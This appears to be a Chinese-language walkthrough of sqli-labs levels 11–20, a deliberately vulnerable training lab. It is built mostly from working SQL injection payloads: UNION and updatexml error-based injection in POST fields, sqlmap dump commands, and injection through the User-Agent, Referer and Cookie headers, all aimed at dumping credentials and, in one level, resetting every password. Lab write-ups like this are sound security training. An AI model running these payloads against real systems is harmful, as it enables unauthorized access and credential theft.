第十一关

这里我们可以看到有一个登陆框,这一关不用我们在传id了,他使用的是post请求,我们使用burpsuite来完成

sqli-lab-less11-1.png

我们用单引号闭合+order by语句试探出有2个回显位置

sqli-lab-less11-2.png
sqli-lab-less11-3.png

获取当前的数据库名

uname=123&passwd=123' union select 1,database() --+&submit=Submit

获取表名

uname=123&passwd=123' union select 1,group_concat(table_name) from information_schema.tables where  table_schema='security' limit 0,1 --+&submit=Submit

获取字段名

uname=123&passwd=123' union select 1,group_concat(column_name) from information_schema.columns where  table_schema='security' and table_name='users' limit 0,1 --+&submit=Submit

获取具体数据

uname=123&passwd=123' union select group_concat(username),group_concat(password) from users --+&submit=Submit
sqli-lab-less-11-4.png

第十二关

这一次我们使用单引号闭合发现没有回显,测试双引号发现报错

sqli-lab-less12-1.png

显示是"),所以他的闭合类型是双引号+右括号闭合,和上一关步骤一样,我们把uname=123&passwd=123' 改成uname=123&passwd=123“)后面照抄就好

获取所有数据

uname=123&passwd=123")  union select group_concat(username),group_concat(password) from users --+&submit=Submit

第十三关

这一关用的是单引号+右括号闭合,使用order by发现有两个回显位置

sqli-lab-less13-1.png

但是我们接着使用union注入发现没有回显,所以我们就使用报错型注入,然后成功获取到数据库名称

获取当前数据库

uname=as&passwd=as') and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&submit=Submit
sqli-lab-less13-2.png

获取表名

uname=as&passwd=as') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+&submit=Submit

获取字段名

uname=as&passwd=as') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name="users"),0x7e),1)--+&submit=Submit

获取最终数据

uname=as&passwd=as') and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)--+&submit=Submit
sqli-lab-less13-3.png

数据不完整可以使用substr分段获取,可以参考第5关的payload

第十四关

这一关和13关一样只需要把闭合方式改成双引号就可以

uname=as&passwd=as“ and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)--+&submit=Submit

第十五关

这一关我们会发现没有回显,使用uname=s&passwd=s' or 1=1#&submit=Submit 我们可以发现显示登陆成功,而使用uname=s&passwd=s' or 1=2#&submit=Submit 我们发现显示登陆失败所以我们只能使用盲注,这里我们使用sqlmap进行布尔盲注

首先使用burpsuite把post包放入txt文件,我把包放到了1.txt中

POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.122.37
Content-Length: 39
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.122.37
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.122.37/sqli-labs/Less-15/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

uname=s&passwd=s&submit=Submit

获取所有数据库

sqlmap -r 1.txt --batch -dbs 
sqli-lab-less15-1.png

获取当前数据库

sqlmap -r 1.txt --current-db --batch  

获取数据表

sqlmap -r 1.txt  --batch --tables -D security

获取字段名

sqlmap -r 1.txt  --batch --columns -D security -T users

获取最终数据

sqlmap -r 1.txt  --batch  -D security -T users -C username,password --dump 

第十六关

这一关和上一关都使用的是盲注,只不过闭合方式变成了")

只需要加上prefix参数就可以继续使用15关的payload

获取最终数据

sqlmap -r 1.txt  --batch  -D security -T users -C username,password --dump --prefix='")'

第十七关

我们进入17关会发现有这么一个界面,看提示我们应该是需要用sql注入来实现重置密码的操作

sqli-lab-less17-1.png

我们还是先使用单引号闭合试试,发现显示错误

sqli-lab-less17-2.png

但是我们把用户名写成admin就会发现显示成功

sqli-lab-less17-3.png

接下来我们还是继续之前的步骤

这里我们使用union注入,发现被过滤了,所以我们使用报错注入

sqli-lab-less17-4.png

获取当前数据库

uname=admin&passwd=s' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+&submit=Submit

得到数据库名是security

获取表名

uname=admin&passwd=s' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+&submit=Submit

得到表名users

获取字段名

uname=admin&passwd=s' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+&submit=Submit

得到字段名username,password

获取具体数据

uname=admin&passwd=s' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(CONCAT(username,':',password)) FROM users),0x7e),1)--+&submit=Submit

这里报错了

sqli-lab-less17-5.png

这是因为原语句使用了update语句中使用了users这张表,而updatexml中嵌套的select语句查询的也是这张表,mysql不允许这两个操作同时作用于这一张表上所以报错,这里我们在select中加入as创建能一张临时表来绕过

uname=admin&passwd=s' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(CONCAT(username,':',password)) FROM(select username,password from  users) as test),0x7e),1)--+&submit=Submit
sqli-lab-less17-6.png

此时密码都变成了1,通关

第十八关

这一关是Header Injection(User-Agent 注入),我们得需要先登陆,然后再ua处注入

sqli-lab-less18-1.png

这里我们上一关重置了密码为1,所以直接使用admin/1登陆就可以,接下来我们的每次注入都要保证用户名和密码为

uname=admin&passwd=1&submit=Submit

报错注入得到数据库名

User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
sqli-lab-less18-2.png

获取表名

User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

获取字段名

User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1

获取具体数据

User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,31),0x7e),1) and '1'='1
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),32,64),0x7e),1) and '1'='1
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),65,97),0x7e),1) and '1'='1   -- -以此类推改变users后面的两个数字即可获取所有数据

第19关

看标题,这一关要我们在refer中注入,但是我们还是要保证账号密码要正确,使用单引号闭合方式,发现有报错

sqli-lab-19-1.png

说明是单引号闭合

获取数据库

Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

获取表名

Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'

获取字段名

Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) or'

获取具体数据

Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),1,32,0x7e),1) or'
Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),32,64,0x7e),1) or'
.................

第二十关

标题提示我们,这一关是cookie注入,所以我们需要先登陆,才可以完成,这是登陆之后的样子

sqli-lab-20-1.png

登陆之后我们刷新页面在抓包就可以看到cookie了,还是单引号闭合报错

获取当前数据库

Cookie: uname=admin' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
sqli-lab-20-2.png

获取表名

Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'

获取字段名

Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) or'

获取5条具体数据

Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users ),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users ),32,62),0x7e),1) or '